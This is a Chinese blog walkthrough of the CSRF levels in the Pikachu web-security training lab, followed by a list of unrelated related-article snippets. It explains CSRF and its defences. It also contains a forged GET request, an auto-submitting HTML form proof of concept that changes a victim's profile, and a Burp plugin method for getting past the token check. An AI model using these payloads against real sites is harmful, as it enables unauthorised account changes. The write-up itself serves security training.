Pikachu 靶场 CSRF 通关解析

news/2024/5/20 10:06:05

前言

Pikachu靶场是一种常见的网络安全训练平台,用于模拟真实世界中的网络攻击和防御场景。它提供了一系列的实验室环境,供安全专业人士、学生和爱好者练习和测试他们的技能。

Pikachu靶场的目的是帮助用户了解和掌握网络攻击的原理和技术,同时提供实践机会来开发和改进网络防御策略。靶场内的网络环境是虚拟的,用户可以通过远程访问来完成各种任务。这些任务可能包括渗透测试、漏洞利用、密码破解、网络侦查、恶意软件分析等。

Pikachu靶场提供了多个不同的实验室环境,以满足不同的训练需求。每个实验室环境都有不同的难度级别和目标,用户可以选择适合自己技能水平的实验室来进行训练。平台还提供了一系列的学习材料和指导,以帮助用户理解每个实验室的背景知识和解决方案。

通过在Pikachu靶场进行训练,用户可以提高自己的网络安全技能,了解常见的攻击技术和漏洞,并学习如何防御和保护网络。这对于网络管理员、渗透测试人员和安全研究人员来说都是非常有价值的。

总而言之,Pikachu靶场是一个提供实践机会的网络安全训练平台,旨在帮助用户提高网络安全技能和知识。它是一个非常有用的资源,可以帮助用户更好地应对日益增长的网络安全威胁。

介绍

CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种常见的Web应用程序安全漏洞,它允许攻击者在用户不知情的情况下以受害者的身份执行未经授权的操作。

CSRF攻击利用了Web应用程序对用户的信任。攻击者通过诱使用户访问恶意网站或点击恶意链接,使受害者在已登录的状态下访问目标网站。然后,攻击者利用受害者的身份在目标网站上执行恶意请求,例如转账、更改密码或删除数据。

以下是CSRF攻击的一般工作流程

        1. 受害者登录:受害者在目标网站上进行登录,并获得有效的会话凭证。

        2. 攻击者构造恶意请求:攻击者在恶意网站上构造一个包含目标网站请求的恶意请求,例如转账请求。

        3. 诱使受害者访问恶意请求:攻击者通过各种手段诱使受害者访问恶意网站,例如通过发送钓鱼邮件、社交媒体诱导等。

        4. 自动执行恶意请求:由于受害者在目标网站上已经登录,浏览器会自动发送恶意请求,并在受害者不知情的情况下执行。

为了防止CSRF攻击,可以采取以下一些防御措施

        1. 随机令牌:在每个表单提交或敏感操作中,为用户生成一个随机的、单次使用的令牌(CSRF Token)。在提交请求时,验证令牌的有效性,确保请求来源于合法的用户会话。

        2. SameSite Cookie属性:使用SameSite Cookie属性来限制Cookie在跨站请求中的发送,可以阻止许多CSRF攻击。

        3. 验证来源(Referer)头:通过验证请求的Referer头,确保请求来自合法的来源网站。但需要注意,Referer头并不是100%可靠,因为某些浏览器或代理可能会修改或删除该头。

        4. 双重身份验证(2FA):为用户提供双重身份验证机制,例如短信验证码、身份验证应用程序等,以增加账户安全性。

        5. 安全编程实践:开发人员应该遵循安全编程实践,包括对用户输入进行验证和过滤、使用适当的授权和身份验证机制等。

需要注意的是,CSRF攻击的影响范围取决于目标网站的功能和用户的权限。为了保护Web应用程序免受CSRF攻击,开发人员和网站管理员应该了解和实施适当的防御措施。

一、CSRF(get)

打开靶场点击提示给出了用户账号及密码

登录进去后可以看到一个修改个人信息 

打开 BurpSuite 抓包随便更改一个数值(如手机号更改为 120)

找到了更改的值,作为攻击者可以复制这条请求然后在另一个页面打开

例如构造一条将手机号改为 12315 的请求

访问后成功更改了手机号

那么就可以利用这条链接在第三方网站生成一个短链接诱导受害者去点击也可以使用 BurpSuite 专业版生成 CSRF Poc

二、CSRF(post)

同理登录进去然后点击修改个人信息

也是随便更改一个数值,然后打开 BurpSuite 抓包

找到了更改的值

因为是 POST 请求所以需要自己构造一个网页使其用户点击链接后通过表单提交实现 CSRF

BurpSuite 专业版可以直接生成 CSRF PoC 更方便)

<html>
<head>
<script>
window.onload = function() {document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://pikachu:8848/vul/csrf/csrfpost/csrf_post.php"><input id="sex" type="text" name="sex" value="girl" /><input id="phonenum" type="text" name="phonenum" value="12345678922" /><input id="add" type="text" name="add" value="hacker" /><input id="email" type="text" name="email" value="kobe@pikachu.com" /><input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

需要将这段代码部署在攻击者服务器上诱导受害者点击即可

三、CSRF(token)

这一关增加了 Token,但还是有办法的

首先在 BurpSuite 中下载插件 CSRF Token Tracker

然后将包发送到重放模块(Repeater)

注意:同时开启跟随重定向

接着在 CSRF Token Tracker 模块中填写 Host 地址(可以参考数据包中的 Host 值)及 Token 的参数名称(也是参考数据包)然后勾选两个选项

注意:后面的值是成功后的 Token 值,刚开始是没有的

做好以上步骤后就可以在重放模块中随意更改参数了,例如:

性别:man

修改为性别 girl


http://www.mrgr.cn/p/64065565

相关文章

[转帖]ldap配置系列三:grafana集成ldap

https://www.cnblogs.com/zhaojiedi1992/p/zhaojiedi_liunx_51_ldap_for_grafana.htmlgrafana的简介grafana是一个类似kibana的东西,是对来自各种数据源的数据进行实时展示的平台,拥有这牛逼的外观。给一个官方的demo体验地址: https://play.grafana.org/d/000000012/grafan…

识货小程序逆向

声明 本文章中所有内容仅供学习交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包内容、敏感网址、数据接口等均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关&#xff01;wx a15018601872&#xff0c;x30184483x…

UE5材质基础(2)——数学节点篇

UE5材质基础&#xff08;2&#xff09;——数学节点篇1 目录 UE5材质基础&#xff08;2&#xff09;——数学节点篇1 Add节点 Append节点 Abs节点 Subtract节点 Multiply节点 Divide节点 Clamp节点 Time节点 Lerp节点 Add节点 快捷键&#xff1a;A鼠标左键 值相加…

Hive SQL Join连接操作用法详解

Hive SQL Join连接操作 1.Hive join语法规则 基本语法&#xff1a; SELECT column_list FROM table1 JOIN table2 ON table1.column_name table2.column_name;JOIN类型&#xff1a; 在JOIN语句中&#xff0c;你可以使用不同类型的JOIN操作&#xff0c;包括INNER JOIN、LEFT O…

恋爱中的Java多线程:从单身到共舞的浪漫指南(一)

引言&#xff1a;孤独的线程&#xff0c;寂寞的码农 开篇小剧场&#xff1a; ​ 深夜&#xff0c;孤独的程序猿凯叔接到新任务&#xff1a;优化程序性能&#xff0c;探索多线程。这一任务成了他跳出孤独、寻求生活并行美好的契机。从简单的Thread类到复杂的线程池管理&#xff…

【汇总】虚拟机网络不通(Xshell无法连接虚拟机)排查方法

搜索关键字关键字关键字&#xff1a;虚拟机虚拟机虚拟机连接失败、虚拟机无法连接、Xshell连接失败、ping baidu.com失败、静态IP设置 Kali、CentOS、远程连接 描述&#xff1a;物理机无法连接虚拟机&#xff1b;虚拟机无法访问百度&#xff0c;虚拟机无法访问baidu.com 虚拟机…

C# WCF服务(由于内部错误,服务器无法处理该请求。)

由于内部错误&#xff0c;服务器无法处理该请求。有关该错误的详细信息&#xff0c;请打开服务器上的 IncludeExceptionDetailInFaults (从 ServiceBehaviorAttribute 或从 <serviceDebug> 配置行为)以便将异常信息发送回客户端&#xff0c;或打开对每个 Microsoft .NET …

为 Flutter 应用设置主题:ThemeData 和 ColorScheme 指南

在媒体和其他来源中有许多关于这个主题的文章&#xff0c;那么这篇文章的必要性是什么&#xff1f; 在本文中&#xff0c;我计划仅关注 ThemeData 小部件的关键点以及我的开发经验中最常用的参数&#xff0c;并且您将获得有关每个参数如何对您的应用程序执行操作的简要说明。 …

Linux:进程信号

生活角度的信号 a.信号在生活中&#xff0c;随时可以产生(信号的产生和我是异步的) b.你能认识这个信号 c.我们知道信号产生了&#xff0c;我能识别这个信号&#xff0c;信号该怎么处理 d.我们可能正在做着更重要的事情&#xff0c;把到来的信号暂不处理(1.我记得这个事 2.…

分布式 ID 的实现方案——Java全栈知识(13)

分布式 ID 的实现方案 当我们分表的情况下&#xff0c;如何实现全局唯一 ID 也是一个问题&#xff0c;数据库的唯一索引在 分布式 ID 也就是全局唯一 ID 生产方案需要满足以下几个条件&#xff1a; 高可用高性能安全性自增性唯一性 1、UUID UUID&#xff08;Universally Un…

cobalt strike安装教程

将本地IP和密码填入:./teamserver 192.168.xx.xx 密码 启动成功

初识C语言——第十五天

初识结构体1 //结构体可以让C语言创建新的类型出来 //创建一个学生struct Stu {char name[20];int age;double score;}; //创建一个书的类型 struct Book {char name[20];float price;char id[30]; };//int main() //{ // struct Stu s { "张三",20,85.5 };//结…

You don’t have permission.

The document “XXX” could not be saved. You don’t have permission. 1.查看修改了iOS系统库导致的, 根据提示, 进入到"XXX"文件中, 然后commandz回退/取消 2. Xcode 调试遇到的报错&#xff08;持续更新&#xff09;

WDS+MDT网络启动自动部署windows(十七)MDT中文变量,描述,组织单位OU

简介 这简直就是歧视,在MDT使用变量时,数据库设置时,居然不能用中文。 计算机描述,我将在数据库中设置为使用人,主要是其他地方也不方便看。 描述是存在注册表中的,未来自动化也将会使用使用人这个字段,用来注册OCS这样,有标签,使用人字段的软件。 方向 解决MDT/BDD无…

蓝桥杯练习系统(算法训练)ALGO-950 逆序数奇偶

资源限制 内存限制&#xff1a;256.0MB C/C时间限制&#xff1a;1.0s Java时间限制&#xff1a;3.0s Python时间限制&#xff1a;5.0s 问题描述 老虎moreD是一个勤于思考的青年&#xff0c;线性代数行列式时&#xff0c;其定义中提到了逆序数这一概念。不过众所周知我们…

【Linux】17. 进程间通信 --- 管道

1. 什么是进程间通信(进程间通信的目的) 数据传输&#xff1a;一个进程需要将它的数据发送给另一个进程 资源共享&#xff1a;多个进程之间共享同样的资源。 通知事件&#xff1a;一个进程需要向另一个或一组进程发送消息&#xff0c;通知它&#xff08;它们&#xff09;发生了…

刷题训练之模拟

> 作者&#xff1a;დ旧言~ > 座右铭&#xff1a;松树千年终是朽&#xff0c;槿花一日自为荣。 > 目标&#xff1a;熟练掌握模拟算法。 > 毒鸡汤&#xff1a;学习&#xff0c;学习&#xff0c;再学习 ! 学&#xff0c;然后知不足。 > 专栏选自&#xff1a;刷题训…

Ansible——playbook编写

一、简介 1.什么是playbook Ansible Playbook 是设定自动化任务的一种蓝图&#xff0c;可在无需人工干预或有限干预的前提下执行复杂的 IT 操作。Ansible Playbook 对一组或一类共同构成 Ansible 清单的主机执行。 Ansible Playbook 本质上是一些框架&#xff0c;是一些预先编…

pytest教程-41-钩子函数-pytest_runtest_teardown

领取资料&#xff0c;咨询答疑&#xff0c;请➕wei: June__Go 上一小节我们学习了pytest_runtest_call钩子函数的使用方法&#xff0c;本小节我们讲解一下pytest_runtest_teardown钩子函数的使用方法。 pytest_runtest_teardown 钩子函数在每个测试用例执行完成后被调用&…

商务分析方法与工具(五):Python的趣味快捷-文件和文件夹操作自动化

Tips&#xff1a;"分享是快乐的源泉&#x1f4a7;&#xff0c;在我的博客里&#xff0c;不仅有知识的海洋&#x1f30a;&#xff0c;还有满满的正能量加持&#x1f4aa;&#xff0c;快来和我一起分享这份快乐吧&#x1f60a;&#xff01; 喜欢我的博客的话&#xff0c;记得…